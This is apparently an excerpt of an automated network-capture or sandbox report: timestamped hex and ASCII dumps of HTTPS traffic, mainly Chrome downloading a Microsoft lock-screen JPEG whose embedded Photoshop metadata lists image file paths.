8e d9 fd 05 67 44 cf 35 c1 7b 90 d2 33 37 ee e1 18 cb b7 5c 9f 61 de b3 93 e8 54 56 b7 29 4b 7c d7 ad b6 47 d8 88 c3 f7 
4a 31 80 3d 7d ff 00 95 5a 9e 0b 9b 9b 62 c5 cd bf 98 c0 46 bc 67 6f bf f9 e9 4f 02 38 66 76 08 a5 f3 92 57 a6 e3 d7 ff 00 
af 51 09 e7 b8 9b 0e 41 08 e7 07 9c 16 3c 56 06 de 84 b6 f1 95 df 24 e9 b1 41 c2 b1 00 92 47 4c 55 8b 7b 78 ad 94 4c 23 
08 ea 37 63 b8 19 e3 3e e4 d4 90 d8 b4 f3 01 92 fb 
Data Ascii: 7^wuI'NY}+~Oi<GTnu(~2I[E9bnmNc+0o1/=O^u9)7wucdO^s/lgD5{37\aTV)K|GJ1=}ZbFgoO8fvWQA<V$AGLU
{xL#7c>

2022-07-01 09:01:55 UTC 4132 IN Data Raw: c6 4e 3f ad 62 6a 09 26 e3 97 54 2d db 1f e4 d6 4f 43 5b 9c c4 17 1e 5c 37 77 3a 99 21 94 81 14 79 27 e5 f4 
e3 b7 af 15 75 35 c9 2e ad e2 06 35 11 60 05 ca 85 e9 d3 8f 41 57 24 d3 2d f6 ab 19 4d c3 83 c0 11 92 33 f5 e9 f9 d6 65 
d5 94 ca e5 d1 16 34 e0 e3 03 3c 52 2a e6 84 4c 24 50 91 c8 c3 71 c4 b2 e3 93 9e ca 3b 0f a5 69 5c ea d6 da 5a 04 43 
be 55 50 a9 12 9c ed cf f7 bd 58 f5 ae 3e e2 7b bb 2b 52 b0 48 51 49 dd 24 cd 92 fc ff 00 77 d2 b2 f4 8d 44 c7 34 b3 c2 
40 8f cb 62 86 40 73 90 33 df f9 d2 1d 8f 47 86 e1 e7 41 34 b3 91 1c 59 1b 4f 2c 58 8c 9c fa 52 cb ac b4 b1 94 de 23 0a 
01 c0 e8 3e b5 cc e8 b7 ed 7f 24 48 e7 10 8c b2 96 38 f3 64 23 23 3e c3 f9 d2 d9 cb 24 d3 18 a0 20 b0 6c bc 84 fc a3 ea 
7d ba 9f 5a a4 07 69 65 1b 49 66 11 4e c8 95 77 cb 2b 75 0b 
Data Ascii: N?bj&T-OC[\7w:!y'u5.5`AW$-M3e4<R*L$Pq;i\ZCUPX>{+RHQI$wD4@b@s3GA4YO,XR#>$H8d##>$ l}ZieIfN
w+u

2022-07-01 09:01:55 UTC 4172 IN Data Raw: 00 ac dd 45 bb 46 9c be 67 c9 da 4f c0 eb eb c9 04 d7 05 a2 46 c0 70 3a 91 ef 5d cd 87 c0 18 da 48 cb ca 45 
ba e3 af 5c 7a 57 d3 2b e1 05 b7 b7 ff 00 50 0b 81 d4 f3 59 a7 45 f2 e6 76 73 d3 a0 02 b1 95 66 a5 ee a2 d2 56 39 0f 0d 
f8 02 d7 4f b6 8e 28 10 61 46 00 c7 4a ea 6d fc 1f 29 e5 22 1b 7d 31 8a dd d2 ec d2 07 42 30 3d 6b b6 d3 d6 16 8f 20 0c 
d6 4a 52 93 bb 64 cb 43 c9 6f 7c 17 2a fd d1 d7 ae 47 22 b0 6e bc 0e e6 4c 34 0b 38 ef 91 5e f7 71 6e ac dc c6 31 59 d2 
e9 f0 73 98 ff 00 2a b4 da d9 89 49 1e 2f 17 c3 cd 2a 35 0e 6c d6 39 7d 71 de aa de f8 4f ca 52 b1 46 b2 21 ea a4 57 b5 7f 
62 5b c8 b8 09 f8 55 5b 8f 0d a2 a9 0a 99 cd 37 39 f7 1a e5 3e 6c d7 7c 1f 33 ab 84 88 82 0f 04 0c 11 58 f6 3f 0a 65 7b 81 
73 38 32 9c e5 63 e9 f9 9e f5 f4 65 e7 86 25 69 0e 
Data Ascii: EFgOFp:]HE\zW+PYEvsfV9O(aFJm)"}1B0=k JRdCo|*G"nL48^qn1Ys*I/*5l9}qORF!Wb[U[79>l|3X?e{s82ce%i

2022-07-01 09:01:55 UTC 4188 IN Data Raw: 02 4b 3f 99 19 e1 64 23 38 fa 8f 4a 57 ee 32 d5 c5 aa 70 b1 6e 0c b8 06 39 0e 18 fb 67 a1 38 f5 eb 54 26 d3 
c5 d2 bc 56 ee 27 20 7c f6 b7 07 39 1e aa 7a 82 3d 08 ae 89 ae ed 75 64 fb 34 a9 1a 4d 8f 94 1e 72 3b 15 3d c7 ea 2b 15 
ed 60 37 42 09 5d ac ae 40 c4 57 03 e6 46 c7 42 1b d7 d4 75 a6 d0 91 56 cf 44 96 c9 37 40 8d 6f 93 93 0c 87 23 3e dc ff 
00 2e b5 a0 d6 10 c8 a5 a7 88 06 61 c9 53 83 f8 d4 d1 6a 12 58 38 b6 d5 14 26 fc 6c 9b 1b a3 73 f5 ec 7e b4 fb d8 16 6f 
de db bf 99 17 56 8c 1e 57 8e b8 3d a9 68 31 b0 c7 1d 8a 7e e6 36 74 cf de 2d bd 47 eb c5 5c fe d0 81 b0 1e 21 b7 af a0 
fd 6b 04 b3 d9 5c 07 38 21 b0 40 cf 0d 9f 42 0e 2b 4e de fe 39 f2 12 18 e3 7e fb b9 07 f3 e9 45 c9 65 bb 86 b6 95 42 c7 
33 45 eb e5 e0 8f d4 54 67 4e 8c 29 0d 78 c4 75 c1 51 fd 
Data Ascii: K?d#8JW2pn9g8T&V' |9z=ud4Mr;=+`7B]@WFBuVD7@o#>.aSjX8&ls~oVW=h1~6t-G\!k\8!@B+N9
~EeB3ETgN)xuQ

2022-07-01 09:01:55 UTC 4196 IN Data Raw: 5b 6a 2e 78 35 7e 18 84 9f 74 72 7a 9a e7 2d c9 95 c7 6e 7b 57 41 6b 72 2d d3 05 aa 40 b0 f6 65 b2 49 f9 40 
aa 97 06 18 97 00 f3 45 d6 ab e6 2f 94 95 89 78 cf b5 f1 bb 75 31 14 f5 bb e4 8d 0a 82 2b 9d 82 13 3d c0 90 1e 33 57 26 
d3 27 ba 62 5c 90 0f 6a b9 a7 e8 e9 0a 65 b3 9a da 33 e5 44 d8 da d3 55 57 95 1d 05 6c 46 18 e0 8e 86 b9 d8 6e 3c 8e 
f8 ad 88 f5 24 58 c1 c8 35 8d ee 51 6a 48 c0 5e 46 73 54 6e 62 3d 50 60 55 0b bd 7d 43 f2 70 3a 54 0d ac 79 a9 84 34 79 
b1 97 96 dc ca 30 5f 34 36 9c 82 3e 47 35 1d a3 4a ea 08 fc aa f9 86 41 18 66 18 1e fd ea 40 c1 b8 b5 0b f3 0e 57 d2 b0 
35 99 42 a9 d8 39 ae aa f1 1b 66 16 b0 af 2d be 5f 98 03 4a da 58 67 15 73 31 76 c3 93 8a c4 bf 6d 99 03 a1 18 e9 5d 8d 
fd 9a 33 65 63 dd e9 59 ef a1 b4 ac 08 ea 7d 45 6d 18 db 52 
Data Ascii: [j.x5~trz-n{WAkr-@eI@E/xu1+=3W&'b\je3DUWlFn<$X5QjH^FsTnb=P`U}Cp:Ty4y0_46>G5JAf@W5B9f-_JX
gs1vm]3ecY}EmR

2022-07-01 09:01:55 UTC 4228 IN Data Raw: 8e 4d 4d 2d b9 4e bd 71 53 d0 0c 9b 84 11 a9 27 8c 0a cd da 67 6e b9 ab 3a 82 cd b8 f5 61 db 15 5a da 23 1f 
cc 4f 02 80 44 d6 f6 b8 e4 9a d6 b2 90 44 c0 6e cd 64 cf a8 46 ab b5 3a d3 ac 59 a5 90 12 fc 55 58 0e ca d6 e9 1f e5 23 
e6 ed 56 d5 81 e3 19 ac bb 14 21 81 3d 71 5a 71 47 8e 6a 88 60 54 96 c0 aa 77 76 ee cc 70 05 68 b2 83 8c 75 a6 14 c3 
e3 d6 93 d0 46 54 76 db 79 23 06 ad c2 c8 9c 9a b8 d1 a8 5e 95 9f 2a b6 ee 13 81 40 16 9a 68 cf 4a 8c 81 d7 15 4d 0b 
97 c0 4c 55 c4 df d1 ba 50 1b 11 3c 45 d7 38 ac dd 42 15 d8 7f 95 6f c7 06 11 89 aa 17 b6 e1 f3 43 5d 42 e7 2b 70 9e 4e 
4a f5 aa 03 50 70 d8 39 f4 ad cb eb 60 5b 07 22 b2 2e 6d 90 70 bc 9f 5a 34 34 1f 0d cb 33 0c 12 06 6b 52 1b 80 b8 cf 5a 
cb b6 50 bc 11 c7 ad 3e 4b 90 38 1d 05 1a 21 9a ef 32 9c 11 56 
Data Ascii: MM-NqS'gn:aZ#ODDndF:YUX#V!=qZqGj`TwvphuFTvy#^*@hJMLUP<E8BoC]B+pNJPp9`[".mpZ443
kRZP>K8!2V

2022-07-01 09:01:55 UTC 4252 IN Data Raw: 29 d8 84 8a 9e e2 25 5c 96 fc 33 5c 87 88 6f 16 25 2a 9c 62 ae 16 6f 51 49 16 67 f1 4b 4a f8 2e 07 b5 5e b3 
d7 03 28 25 c6 4f 40 2b c8 b5 29 2e 16 e3 cc 12 90 be 95 a9 a4 6a 73 2b 21 2e 4f 4f a5 6b 28 ab 68 11 67 b1 d8 6a b2 4a 
d8 07 8a df b6 9c ba 8a e1 74 1b 81 e5 a1 2d d7 af d6 ba eb 79 4b a8 0b d2 b8 9b 66 dd 0d 42 d9 6f d2 a4 48 30 b9 6e a7 
a5 57 b6 85 e4 70 4f 00 56 d2 42 0a 8e 2a ae 48 cb 5c 27 07 a0 ab 72 5f 2c 48 4b 0e 2a 16 8f 6f 4a 86 e4 2b 46 57 be 29 
5c 92 bb eb 27 cc c8 e9 e9 55 e6 d6 7c c7 c0 ac eb c7 f2 dc 83 c5 50 32 67 24 1e 45 1a 95 64 74 2b a9 ee e9 d4 55 a8 
b5 42 70 09 c5 72 4d 72 cb c0 3c d4 b1 ea 07 1b 4b 72 68 d4 2c 8e d6 df 51 0c c3 07 9a b6 6f 54 ff 00 1f 4a e2 93 50 fb 
3a e4 1e 45 43 fd b8 dd 37 f0 6a af 62 79 4e b6 f2 e4 15 2f 
Data Ascii: )%\3\o%*boQIgKJ.^(%O@+).js+!.OOk(hgjJt-yKfBoH0nWpOVB*H\'r_,HK*oJ+FW)\'U|P2g$Edt+UBprMr<K
rh,QoTJP:EC7jbyN/

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 4275 IN Data Raw: 91 e7 73 71 5d 1d eb 2a 29 26 b9 7d 52 ea 34 52 5a a3 a9 46 5d d4 aa 9c 2f a5 63 dd 6a ca ad b4 f6 eb 54 b5 
bd 6d 21 62 c0 e0 0a e0 75 8f 15 88 e6 2c 1f 39 ec 6b 78 c7 98 5c c7 a4 db eb 5b 9b 23 b5 6d da 6b c7 68 04 d7 8b e9 fe 
32 5d a3 e6 cf a8 ee 2b a1 b3 f1 74 52 2e 07 38 f7 a9 94 1d f4 04 d3 3d 62 3d 65 64 e4 9f 6a bf 0d fc 7b 41 f5 15 e5 f6 be 
24 8d 98 00 dc fa 56 a4 3e 23 da bc 9f d6 a3 90 67 61 7f 78 bb 4e 0e 49 aa 11 c4 b2 b6 76 e4 9a c3 fe d8 5b 96 e1 eb 4b 
4d bb da f9 cf 06 a3 5b 94 6e 41 6b 18 4c 04 1f 5a 72 68 b1 3f 6e 6a 4b 79 43 20 c7 4a d3 b2 21 dc 1f 7a a2 4a 69 e1 e0 
a9 90 30 6a 8d e6 96 62 47 2c 06 05 76 6b 1e e4 c9 35 91 a9 da 34 8c 40 e4 55 47 cc 9b 9c 24 af 1a 3e d2 3f 2a 6b 18 8a 
64 0d a6 b7 ee 34 6d ec 4e ca c8 be d2 e4 8f 24 64 62 
Data Ascii: sq]*)&}R4RZF]/cjTm!bu,9kx\[#mkh2]+tR.8=b=edj{A$V>#gaxNIv[KM[nAkLZrh?njKyC J!zJi0jbG,vk54@UG$>?
*kd4mN$db

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

168 192.168.2.5 49938 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:55 UTC 2749 OUT GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-07-01 09:01:55 UTC 2861 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PtWe?ver=aadd
Last-Modified: Wed, 29 Jun 2022 22:35:34 GMT
X-Source-Length: 1675066
X-Datacenter: northeu
X-ActivityId: b1817300-9754-4835-b17d-7d557848092f
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1675066
Cache-Control: public, max-age=307979
Expires: Mon, 04 Jul 2022 22:34:54 GMT
Date: Fri, 01 Jul 2022 09:01:55 GMT
Connection: close

2022-07-01 09:01:55 UTC 2862 IN Data Raw: ff d8 ff e1 27 d7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 30 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: 'ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:20:328"

2022-07-01 09:01:55 UTC 2927 IN Data Raw: a5 6d 0a ae 47 4d cc ab 2a bc 2c 6a 85 75 64 7a 86 97 82 e2 f7 96 fb ec 76 1d ae ad d6 33 77 e8 d9 53 ff 00 
73 fe dd 5a 9d 2e ec 9c 8e 97 5b 03 5a de 9d 8f 93 63 45 a5 cd f4 6c ae bb 1e ff 00 d2 b9 f6 d4 db bd 26 7d 0f 66 cb ff 00 
9b ff 00 07 62 6e b5 83 92 fc 1a 2d 36 e3 e5 d9 83 75 6f 6d 9b 89 73 eb 6b bd 94 b2 f6 fb dd 5f a7 6f af 6b 29 af f4 7f e6 
57 4d a1 93 87 39 88 90 f5 4e 56 3c 7e 58 e4 e1 e3 f6 f8 f8 91 fa 3e 41 1d fd 3b a3 d3 90 ca 6d 7b 81 f4 b6 dc c7 d0 e0 00 
21 d4 fa bb 5c dd f7 3b 1f d9 ea 55 b7 df fd 22 bf f0 94 e4 71 9f 64 bf f7 8f f3 9f 64 fa 7f e1 3f d2 ff 00 57 fd 7d 45 db e7 7d 
61 e9 e0 b8 63 62 da 2c b9 e1 d5 39 ef 01 b2 c2 6c 05 df cf b7 d5 7b 9f fa 46 57 e8 fa ec fe 7b fd 12 c5 fd ad 67 fd c5 c7 f
e 91 f6 8f cf fe 73 fc ef e7 7f ee 
Data Ascii: mGM*,judzv3wSsZ.[ZcEl&}fbn-6uomsk_ok)WM9NV<~X>A;m{!\;U"qdd?W}E}acb,9l{FW{gs

2022-07-01 09:01:55 UTC 2951 IN Data Raw: 74 74 79 49 6d 61 67 65 73 5f 31 37 35 37 35 35 30 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 36 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 
74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 3
2 5f 51 34 32 30 31 36 5f 5a 61 62 72 69 73 6b 69 65 50 6f 69 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 35 34 37 34 3
0 38 38 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 
38 54 31 36 3a 33 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
Data Ascii: ttyImages_175755036_1080x1920.jpg saved&#xA;2016-07-08T16:36:39-07:00&#x9;File C:\Users\v-lizagh\M
S\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_Q42016_ZabriskiePoint_GettyImages_547408861
_1080x1920.jpg saved&#xA;2016-07-08T16:39:50-07:00&#x9;Fi

2022-07-01 09:01:55 UTC 3000 IN Data Raw: 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 50 65 67 67 79 73 43 6f 76 65 43 61 6e 61 64 61 5f 47 65 74 74 79 49 
6d 61 67 65 73 5f 31 31 37 33 31 30 32 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 36 2d 30 37 2d 30 38 54 31 38 3a 34 34 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 5
1 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 45 6c 2d 6e 69 64 
6f 50 68 69 6c 69 70 70 69 6e 65 73 5f 35 30 30 70 78 5f 31 32 38 32 30 39 35 30 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 
70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 
Data Ascii: 4-125-Batch2_PeggysCoveCanada_GettyImages_117310221_1080x1920.jpg saved&#xA;2016-07-08T1
8:44:24-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_El-nidoPhil
ippines_500px_128209505_1080x1920.jpg saved&#xA;2016-07-0
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2022-07-01 09:01:55 UTC 3186 IN Data Raw: 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 
64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 
31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 
31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6
f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 4c 61 6b 65 4d 6f 72 6e 69 6e 67 4c 69 67 68 74 5f 50 6c 61 69 6e 70 69 63 74 75 7
2 65 5f 70 35 37 35 6d 31 30 37 34 34 38 39 66 5f 31 30 38 30 78 
Data Ascii: Q4-500_Batch1\Crops\Q4-500-1_FootbridgeLeadsToSea_Plainpicture_p300m979164f_1080x1920.jpg 
saved&#xA;2016-08-10T14:01:01-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-
500-1_LakeMorningLight_Plainpicture_p575m1074489f_1080x

2022-07-01 09:01:55 UTC 3210 IN Data Raw: 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 
61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 34 33 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 55 52 31 35 5f 50 72 6f 34 5f 54 61 62 6c 65 74 5f 30 35 
5f 47 72 61 64 69 65 6e 74 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 3
0 39 2d 32 38 54 31 33 3a 33 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 
Data Ascii: &#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2016-09-28T13:31:43-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Surface\Juan\SUR15_Pro4_Tablet_05_Gradient_1080x1920.jpg saved&#xA;2016-09-28
T13:31:56-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\L

2022-07-01 09:01:55 UTC 3274 IN Data Raw: 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 30 36 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 31 36 3a 32 39 2d 30 37 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 6
7 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 
6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 
Data Ascii: 0\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-10-17T18:06:53-07:00&#x9;File Lockscreen_1080x1
920_Portrait.psd opened&#xA;2016-10-17T18:16:29-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe P
hotoshop CC 2015.5\AutoRecover\_Lockscreen_1080

2022-07-01 09:01:55 UTC 3353 IN Data Raw: 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 30 
35 36 32 32 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 
32 33 54 31 35 3a 33 39 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 
5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 36 36 35 36 39 31 38 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 34 30 3a 31 31 2d 30 38 
Data Ascii: e\Crops\Office_Skype_GettyImages-660562255_1080x1920.jpg saved&#xA;2016-11-23T15:39:14-0
8:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages
-665691853_1080x1920.jpg saved&#xA;2016-11-23T15:40:11-08

2022-07-01 09:01:55 UTC 3385 IN Data Raw: 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 
41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 37 2d 30 31 2d 33 30 54 31 34 3a 33 37 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 
64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 
45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 34 34 39 
33 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
Data Ascii: Images-152304794_1080x1920FF840D264A42D1208ABA554546D1D562.psb saved&#xA;2017-01-30T14:3
7:13-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-
MSRewards-Movies_GettyImages-584493872_1080x1920.jpg saved&

2022-07-01 09:01:55 UTC 3599 IN Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 
6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 
38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 32 2d 32 32 54 31 37 3a 34 35 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 61 72 6
3 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4d 61 72 63 68 4d 61 
64 6e 65 73 73 2d 4e 43 41 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 
Data Ascii:  Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD3
9C4CCFC.psb saved&#xA;2017-02-22T17:45:18-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTim
e\MarchMadness-NCAA\March\CHOSEN\MIT-MarchMadness-NCAA_GettyImages-

2022-07-01 09:01:55 UTC 3623 IN Data Raw: 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 
45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 38 54 31 34 
3a 30 32 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 
43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 
32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 4
3 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
Data Ascii: 0x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved&#xA;2017-03-28T14:02:24-07:00&
#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1
080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved&#xA;201

